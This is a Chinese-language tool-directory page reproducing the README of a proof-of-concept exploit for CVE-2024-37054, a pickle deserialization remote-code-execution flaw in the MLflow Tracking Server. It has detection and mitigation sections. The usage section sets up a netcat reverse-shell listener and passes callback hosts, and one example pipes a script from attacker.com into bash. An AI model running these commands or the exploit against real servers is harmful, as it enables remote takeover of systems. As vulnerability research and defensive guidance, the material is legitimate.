Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-37054 — CVE-2024-37054 的概念验证漏洞利用,这是 MLflow Tracking Server 中的 pickle 反序列化远程代码执行漏洞。经过身份验证的攻击者可以覆盖模型工件以实现远程代码执行。包含检测和缓解指南。 | Kitploit
工具/GitHubGitHub/ben-slates/cve-2024-37054
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubben-slates/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 的概念验证漏洞利用,这是 MLflow Tracking Server 中的 pickle 反序列化远程代码执行漏洞。经过身份验证的攻击者可以覆盖模型工件以实现远程代码执行。包含检测和缓解指南。

查看仓库
5453个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-37054 — MLflow Pickle 反序列化 RCE

Python CVE CVSS Affected License

针对 MLflow Tracking Server 中一个严重的 pickle 反序列化漏洞的概念验证利用,可实现已认证远程代码执行。

⚠️ 仅用于教育和授权安全测试。请勿对不属于您或未经您明确书面授权的系统使用。


漏洞概述

字段值
CVE IDCVE-2024-37054
CVSS 评分8.8(高危)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
受影响版本MLflow < 2.14.3
修复版本MLflow ≥ 2.14.3
漏洞类型CWE-502:不可信数据反序列化
攻击向量网络
所需权限低(有效凭据)
用户交互无

描述

MLflow Tracking Server 在加载模型进行推理时,通过 Python 的 pickle 模块反序列化模型工件。已认证攻击者可以将恶意 pickle 有效负载覆盖 MLflow 工件仓库中的 python_model.pkl 工件。当后续加载模型时(例如在预测请求期间),该有效负载被反序列化,从而在服务器上执行任意代码。

利用的前提条件:

  • 对 MLflow Tracking Server 的网络访问
  • 有效的 MLflow 凭据(默认或其他)
  • 对工件的写入权限(所有已认证用户默认拥有)

影响

成功利用可实现远程代码执行,权限与 MLflow 服务器进程相同,可能导致系统完全受控、数据泄露、横向移动或持久化访问。


利用原理

  1. 模型注册 — 上传合法训练数据集以创建新的 MLflow 运行并注册一个包含标准工件的模型版本。
  2. 工件覆盖 — 通过 PUT /api/2.0/mlflow-artifacts/artifacts/... 将 python_model.pkl 工件替换为精心构造的 pickle 有效负载。
  3. 反序列化触发 — 预测请求导致 MLflow 对受损工件调用 pickle.load()。
  4. 代码执行 — pickle 的 __reduce__ 方法调用 os.system(),执行攻击者命令。

该有效负载使用 os.system()(C 语言内建函数)而非 cloudpickle,以最大化跨版本兼容性并避免 Python 版本特定的字节码问题。


安装

需求: Python 3.7+、requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

使用

root@kitploit:~
# 启动监听
nc -lvnp 4444

# 运行利用程序
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

示例

root@kitploit:~
# 默认凭据,基础反向 Shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# 自定义 MLflow 凭据
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# 应用登录 + MLflow 凭据
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# 自定义命令(非反向 Shell)
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# 指定实验 ID,为慢速服务器增加延迟
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# 详细输出
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

选项


检测

网络指标

  • 对 /api/2.0/mlflow-artifacts/artifacts/ 端点的 PUT 请求
  • python_model.pkl 出现意外的修改时间戳
  • POST /api/2.0/mlflow/runs/search 后紧跟工件修改

主机指标

  • MLflow 进程中意外的 os.system() 调用
  • MLflow 工作进程衍生出 Python 子进程
  • MLflow 服务器向未知主机的出站连接

日志查询

root@kitploit:~
# 访问日志中的工件修改
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# 文件完整性监控
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

缓解措施

立即:

  • 将 MLflow 升级至 2.14.3 或更高版本
  • 轮换所有默认或弱凭据
  • 限制对 MLflow API 端点的网络访问
  • 审计工件修改历史以查找篡改迹象

长期:

  • 在加载模型前实现工件签名和完整性验证
  • 使用模型签名强制执行,并尽可能限制基于 pickle 的模型风味
  • 启用 MLflow 审计日志记录,并对意外的工件写入进行告警

测试环境

  • MLflow 2.14.1 — Ubuntu 22.04,Python 3.10
  • MLflow 2.12.0 — Docker,Python 3.9
  • 多种部署配置:本地、Docker、Kubernetes

参考

  • NVD — CVE-2024-37054
  • MLflow 安全公告
  • CWE-502:不可信数据反序列化
  • MLflow 文档 — 模型注册表

免责声明

此工具仅适用于:

  • 研究反序列化漏洞的安全研究人员
  • 在书面授权下操作的渗透测试人员
  • 审计自身 MLflow 部署的系统管理员
  • 在受控实验室环境中的教育用途

请勿对不属于您或未经您明确书面授权的任何系统使用此工具。作者对滥用行为不承担任何责任。


许可证

MIT — 详细信息见 LICENSE 文件。


联系方式

📧 [email protected]
🐛 报告问题

下载工具
参数描述
target目标应用 URL
mlflowMLflow Tracking Server URL
lhost攻击者主机(用于反向 Shell 回调)
lport攻击者端口(用于反向 Shell 回调)
--mlflow-creds USER:PASSMLflow 凭据(默认:admin:password)
--app-username应用登录用户名
--app-password应用登录密码
--app-login-url登录端点路径
--upload-url上传端点路径
--predict-url预测端点路径
--experiment-id ID指定目标实验 ID
--delay SECONDS步骤间延迟(默认:2 秒)
--cmd COMMAND要执行的自定义命令
--verbose / --quiet输出详细程度控制
--no-color禁用彩色输出